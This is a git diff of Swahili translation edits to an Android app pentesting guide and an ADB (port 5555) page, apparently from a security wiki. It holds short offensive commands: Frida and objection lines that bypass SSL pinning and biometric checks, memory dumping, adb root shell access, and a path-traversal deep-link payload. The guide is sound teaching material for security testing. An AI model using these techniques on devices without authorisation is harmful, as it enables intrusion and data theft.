kwa taarifa nyeti** -**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa utaweza kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti. +**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa unafanikiwa kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti. #### Tapjacking @@ -364,7 +364,7 @@ Huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **ku [**Soma hii ikiwa unataka kukumbusha nini ni Vastika za Matangazo.**](android-applications-basics.md#broadcast-receivers)\ Kumbuka kwamba vitendo vya Vastika za Matangazo huanza katika njia `onReceive`. -Vastika za matangazo zitakuwa zikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\ +Vastika ya matangazo itakuwa ikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\ [**Jifunze jinsi ya kutumia Vastika za Matangazo na Drozer.**](#exploiting-broadcast-receivers) ### **Kutumia Mipango / Viungo vya Kina** @@ -394,7 +394,7 @@ Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywi **Parameters in path** Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio na udhaifu ulitumia njia sahihi) na udhaifu mwingine wowote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/). +Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la domain), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/). **More examples** @@ -403,22 +403,22 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w ### Transport Layer Inspection and Verification Failures - **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP. -- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Udhaifu huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data. +- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data. - **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu. #### Certificate Verification -Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama unaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina. +Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina. #### SSL Pinning -SSL Pinning ni kipimo cha usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti. +SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti. #### Traffic Inspection -Ili kukagua trafiki ya HTTP, ni lazima **kusakinisha cheti cha zana ya proxy** (kwa mfano, Burp). Bila kusakinisha cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusakinisha cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea tutorial hii**](make-apk-accept-ca-certificate.md). +Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md). Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**](flutter.md). Hii ni kwa sababu, kuongeza cheti kwenye duka hakutafanya kazi kwani Flutter ina orodha yake ya CAs halali. @@ -426,10 +426,10 @@ Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**] Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili: -- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kusakinisha mpya, na hii haitafanya kazi kila wakati. -- Unaweza kutumia **Frida** (iliyajadiliwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha upya, na hii haitafanya kazi kila wakati. +- Unaweza kutumia **Frida** (iliyozungumziwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF dynamic analysis** (iliyofafanuliwa hapa chini) +- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (ilielezwa hapa chini) - Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Looking for Common Web Vulnerabilities @@ -438,7 +438,7 @@ Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo y ### Frida -[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\ +[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa ajili ya waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\ **Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati, kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\ Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida. @@ -452,7 +452,7 @@ Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi y Angalia ikiwa programu inahifadhi taarifa nyeti ndani ya kumbukumbu ambayo haipaswi kuhifadhiwa kama nywila au maneno ya kukumbuka. -Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutoa kumbukumbu ya programu kwa: +Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutupa kumbukumbu ya programu kwa: ```bash # With PID python3 fridump3.py -u @@ -469,7 +469,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii. -Hata kama programu imehifadhi data katika keystore, data hiyo inapaswa kuwa imefungwa. +Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa. Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -477,19 +477,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Kwa kutumia skripti ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:** +Kwa kutumia script ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Picha za Muktadha** -Wakati unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu hivyo inaonekana kama programu imepakiwa haraka. +Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka. Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia). Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`** -Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama. +Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -497,28 +497,28 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) -### Uingizaji wa Intent +### Kuingilia kwa Intent -Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari. +Wak developers mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo vinavyoshughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari. -Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha uingizaji wa Intent mbaya. +Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu. -### Maelezo Muhimu +### Mambo Muhimu ya Kujifunza -- **Uingizaji wa Intent** ni sawa na tatizo la Open Redirect la wavuti. -- Ukatili unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuhamasishwa kutekeleza operesheni zisizo salama. +- **Kuingilia kwa Intent** ni sawa na tatizo la Open Redirect la wavuti. +- Uhalifu unahusisha kupitisha vitu vya `Intent` kama extras, ambavyo vinaweza kuhamasishwa kutekeleza operesheni zisizo salama. - Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji. - Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa. -### Uingizaji wa Kando ya Mteja wa Android na mengineyo +### Kuingilia kwa Kliendi ya Android na mengineyo Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android: -- **Uingizaji wa SQL:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa. -- **Uingizaji wa JavaScript (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled). -- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled). -- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski. -- [**Lipu la Usalama** katika kuki](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) +- **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa. +- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled). +- **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled). +- **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski. +- [**Bendera Salama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -549,12 +549,12 @@ MobSF pia inakuwezesha kufanya **diff/Compare** uchambuzi na kuunganisha **Virus - Kukamata **trafiki ya HTTPS** - Kutumia **Frida** kupata **maelezo ya wakati wa kukimbia** -Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kukamata** trafiki. Itakamata tu trafiki kutoka kwa programu iliyojaribiwa. +Kuanzia toleo la **android > 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kukamata** trafiki. Itakamata tu trafiki kutoka kwa programu iliyojaribiwa. **Frida** Kwa kawaida, itatumia pia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\ -MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti. +MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti. Ili **kuanza** upimaji wa kisaidizi bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logi zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\ MobSF pia inakuwezesha kupakia **scripts zako za Frida** (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizotayarishwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logi za hizo scripts ndani ya "**Frida Live Logs**"). @@ -564,8 +564,8 @@ MobSF pia inakuwezesha kupakia **scripts zako za Frida** (ili kutuma matokeo ya Zaidi ya hayo, una baadhi ya kazi za ziada za Frida: - **Enumerate Loaded Classes**: Itachapisha kila darasa lililopakiwa -- **Capture Strings**: Itachapisha kila nyuzi zilizokamatwa wakati wa kutumia programu (sauti nyingi) -- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha nyuzi 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo. +- **Capture Strings**: Itachapisha kila nyenzo iliyokamatwa wakati wa kutumia programu (sauti nyingi) +- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyeshe nyenzo 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo. - **Enumerate Class Methods**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa hilo. - **Search Class Pattern**: Tafuta madarasa kwa muundo - **Trace Class Methods**: **Trace** **darasa zima** (ona ingizo na matokeo ya mbinu zote za darasa hilo). Kumbuka kwamba kwa kawaida MobSF inafuatilia mbinu kadhaa za kuvutia za Android Api. @@ -574,7 +574,7 @@ Mara tu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Sta **Shell** -Mobsf pia inakuletea shell yenye baadhi ya amri za **adb**, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa kisaidizi. Baadhi ya amri za kuvutia: +Mobsf pia inakuletea shell yenye baadhi ya **adb** amri, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa kisaidizi. Baadhi ya amri za kuvutia: ```bash help shell ls @@ -591,7 +591,7 @@ Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTool Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu. > [!TIP] -> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya: +> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya: > > ``` > adb shell settings put global http_proxy :0 @@ -619,7 +619,7 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Inaonyesha faili zote zilizotolewa kwa ajili ya rejeleo rahisi +- Inaonyesha faili zote zilizovunjwa kwa ajili ya rejeleo rahisi - Inachambua faili za APK moja kwa moja hadi katika muundo wa Java na Smali - Changanua AndroidManifest.xml kwa ajili ya udhaifu na tabia za kawaida - Uchambuzi wa msimbo wa chanzo wa statiki kwa ajili ya udhaifu na tabia za kawaida @@ -630,7 +630,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER ni programu ya amri ambayo inaweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo. +SUPER ni programu ya amri inayoweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo. Sheria zote zinazingatia faili ya `rules.json`, na kila kampuni au mtathmini anaweza kuunda sheria zake mwenyewe kuchambua kile wanachohitaji. @@ -644,7 +644,7 @@ super-analyzer {apk_file} StaCoAn ni chombo **crossplatform** ambacho kinawasaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili kufanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu. -Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itazalisha ripoti ya kuona na inayoweza kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi. +Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi. Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -652,7 +652,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\ +AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kuwepo katika programu za Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -660,9 +660,9 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android. +**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea kutoka kwa programu ya Android. -Ugunduzi unafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard). +Gundua inafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard). Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data ya PIM, utekelezaji wa msimbo wa kiholela... ``` @@ -685,7 +685,7 @@ Inauwezo wa: ### Koodous -Inafaida kugundua malware: [https://koodous.com/](https://koodous.com) +Inatumika kugundua malware: [https://koodous.com/](https://koodous.com) ## Obfuscating/Deobfuscating code @@ -704,16 +704,16 @@ Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://b (Kutoka kwa mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa: - kupakia rasilimali kama InputStream; -- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafichua; +- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua; - kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mhandisi wa nyuma; -- kutoa matokeo yaliyofichuliwa kwa ZipInputStream ili kupata faili ya DEX; +- kutoa matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX; - hatimaye kupakia DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`. ### [DeGuard](http://apk-deguard.com) **DeGuard inarudisha mchakato wa obfuscation uliofanywa na zana za obfuscation za Android. Hii inaruhusu uchambuzi mwingi wa usalama, ikiwa ni pamoja na ukaguzi wa msimbo na kutabiri maktaba.** -Unaweza kupakia APK iliyofichwa kwenye jukwaa lao. +Unaweza kupakia APK iliyokuwa obfuscated kwenye jukwaa lao. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 0663c14a3..cb345133e 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,10 +6,10 @@ From [the docs](https://developer.android.com/studio/command-line/adb): -Android Debug Bridge (adb) ni zana ya amri ya kuwasiliana na vifaa na emulators vinavyotumia Android. Vitendo vya kawaida ni pamoja na kufunga pakiti, kutatua matatizo, na kupata shell ya Unix ya mwingiliano kwenye kifaa. +Android Debug Bridge (adb) ni chombo cha amri kwa mawasiliano na vifaa na emulators vinavyotumia Android. Vitendo vya kawaida ni pamoja na kufunga pakiti, kutatua matatizo, na kupata shell ya Unix ya mwingiliano kwenye kifaa. - Bandari ya TCP ya kihistoria: 5555 (hali ya "adb tcpip" ya jadi). -- Urekebishaji wa kisasa wa Wireless (Android 11+) unatumia TLS pairing na mDNS huduma ya kugundua. Bandari ya kuungana ni ya kubadilika na inagunduliwa kupitia mDNS; inaweza isiwe 5555. Pairing inafanywa kwa adb pair host:port ikifuatiwa na adb connect. Tazama maelezo hapa chini kwa athari za kushambulia. +- Urekebishaji wa Wireless wa kisasa (Android 11+) unatumia TLS pairing na mDNS huduma ya kugundua. Bandari ya kuungana ni ya kubadilika na inagunduliwa kupitia mDNS; inaweza isiwe 5555. Pairing inafanywa kwa adb pair host:port ikifuatiwa na adb connect. Tazama maelezo hapa chini kwa athari za kushambulia. Example nmap fingerprint: ``` @@ -26,7 +26,7 @@ adb shell # Get an interactive shell (uid usually shell) whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -- Ikiwa kifaa kinatekeleza uthibitishaji wa ADB (ro.adb.secure=1), utahitaji kuwa umeidhinishwa mapema (USB RSA auth) au kutumia Android 11+ Wireless debugging pairing (ambayo inahitaji msimbo wa mara moja unaoonyeshwa kwenye kifaa). +- Ikiwa kifaa kinatumia uthibitisho wa ADB (ro.adb.secure=1), utahitaji kuwa umeidhinishwa mapema (USB RSA auth) au kutumia Android 11+ Wireless debugging pairing (ambayo inahitaji msimbo wa mara moja unaoonyeshwa kwenye kifaa). - Picha za wauzaji wengine, ujenzi wa uhandisi/userdebug, emulators, TVs, STBs na vifaa vya maendeleo vinatoa adbd bila uthibitisho au na adbd ikikimbia kama root. Katika hali hizo, kwa kawaida utaingia moja kwa moja kwenye shell au root shell. Kwa rejeleo la jumla la amri za ADB, angalia: @@ -114,16 +114,16 @@ Notes - Ports ni za dinamik; usidhani 5555. Majina ya huduma ya mDNS yanaonekana kama: - _adb-tls-pairing._tcp (kuunganishwa) - _adb-tls-connect._tcp (kuunganishwa kwa pamoja) -- _adb._tcp (urithi/plain) -- Ikiwa mDNS imechujwa, kuwezesha USB-assisted kunaweza bado kufanya kazi kwenye baadhi ya 